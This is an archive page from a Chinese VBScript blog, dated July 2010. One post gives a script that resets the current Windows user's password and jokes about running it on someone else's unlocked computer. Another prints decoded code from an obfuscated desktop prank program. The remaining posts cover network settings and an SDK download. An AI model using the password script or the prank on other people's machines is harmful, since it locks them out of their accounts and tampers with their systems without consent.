2010年07月 存档

用VBS修改Windows用户密码

2010年07月31日,星期六

不明白为什么很多人喜欢设置Windows开机密码,那个密码设了和没设是一样的,破解起来非常的容易。这里不打算介绍破解Windows密码的方法,而是用VBS修改Windows密码的方法,当然前提条件是你能进到操作系统中(比如趁别人开着电脑去上厕所的时候~)。

代码如下,我就不注释了,看得懂的不用注释也看得懂,看不懂的注释了也看不懂。看不懂的自己好好学习一下ADSI。

Const strPassword = "123456"
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim UserName
UserName = WshNetwork.UserName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&UserName)
Domain.SetPassword strPassword
Domain.SetInfo

XP下直接运行即可,Vista和Windows 7需要以管理员身份运行(具体方法参见上一篇文章)。

为.VBS和.JS文件添加右键以管理员运行菜单

2010年07月30日,星期五

摘自http://www.winhelponline.com/blog/adding-the-run-as-administrator-option-for-vbs-and-js-files/

1、下载script_runas.reg并保存到桌面

2、右键单击并选择合并

3、当弹出对话框时单击

Windows 7下调试VBS时经常没有权限而要使用管理员权限运行,加个右键菜单方便得多。

用VBS设置静态IP和DNS服务器地址

2010年07月29日,星期四

今天别人问我的,怕以后忘记,记录下来。

strIPAddress = Array("192.168.0.148")
strSubnetMask = Array("255.255.255.0")
strGateway = Array("192.168.0.1")
strGatewayMetric = Array(1)
arrDNSServers = Array("192.168.0.1","192.168.0.2")
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colNetAdapters = objWMIService.ExecQuery _
    ("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
 
For Each objNetAdapter in colNetAdapters
    errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask)
    errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric)
    errDNS = objNetAdapter.SetDNSServerSearchOrder(arrDNSServers)
    If errEnable = 0 Then
        WScript.Echo "The IP address has been changed."
    Else
        WScript.Echo "The IP address could not be changed."
    End If
Next

记得把参数改成自己想要的。

一个VBS恶作剧程序的解密

2010年07月28日,星期三

就是我之前在百度HI上看到的加密的恶作剧程序。之前解密的时候犯了一个很愚蠢的错误,竟然把循环的次数看错了。

那个上面贴出的程序运行后生成一个EZJ.VBE文件,用Script Decoder将其解码成EZJ.VBS,然后将

Execute FG5bhgNStr

替换为

Set file = HgyuR5Y3v.OpenTextFile((zhVVB4tr6 - 16535685)&".vbs",2,True)
file.Write FG5bhgNStr

双击运行,得到501个vbs文件,其中70.vbs就是解密后的代码,如下

Rem EnCode_4.0 By baomaboy
On Error Resume Next
Set sexc4rt = WScript.CreateObject("WScript.Shell")
Set CcYdrdTE = CreateObject("Scripting.FileSystemObject")
RName = Int((9876543210 - 1234567890 + 1) * Rnd + 1234567890)
UrlFile = CcYdrdTE.BuildPath(sexc4rt.SpecialFolders("Desktop"),"\"&RName&".url")
Set UrlStr = CcYdrdTE.OpenTextFile(UrlFile,2,True)
UrlStr.WriteLine("[InternetShortcut]"&vbcrlf&"url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:")
UrlStr.Close
WScript.Sleep 5000
Set OUrl = CcYdrdTE.OpenTextFile(CcYdrdTE.BuildPath(CcYdrdTE.GetSpecialFolder(1),"ShowDisktop.SCF"),2,True)
OUrl.Write("[Shell]"&vbcrlf&"Command=2"&vbcrlf&"IconFile=explorer.exe,3"&vbcrlf&"[Taskbar]"&vbcrlf&"command=ToggleDesktop")
OUrl.Close
sexc4rt.Run("ShowDisktop.SCF")
WScript.Sleep 16365
sexc4rt.Run("%COMSPEC% /C Del "&CcYdrdTE.GetFile(UrlFile).ShortPath),vbHide
WScript.Sleep 1000
sexc4rt.Run("explorer.exe")
WScript.Quit(0)

唉,因为一个很低级的错误,纠结了好几天。

Microsoft Platform SDK Febrary 2003版下载

2010年07月27日,星期二

传说中最后支持Visual C++ 6.0的PSDK版本,微软在MSDN博客上说

Perhaps you want to install a version of the PSDK that will work with VS6, the last version of the PSDK to work with VS6 was the following version:

Microsoft Platform SDK, February 2003 Edition
The only way you can get this SDK is by ordering it (for about $10 — you only pay shipping costs) from…
http://www.qmedia.ca/launch/psdk.htm

也许你想安装一个依然支持VS6的PSDK版本,最后一个能在VS6下工作的PSDK版本是下面的版本:Microsoft Platform SDK, February 2003 版。你得到这个SDK的唯一方式是向http://www.qmedia.ca/launch/psdk.htm订购(大概$10,你仅需支付邮递的钱)。

难道微软真的就不提供下载地址了吗?我不死心,Google啊Google,终于搜索到了,那个人太牛了,怎么找到的。下载下来安装了一下,果然是Windows Server 2003 PSDK。

(更多…)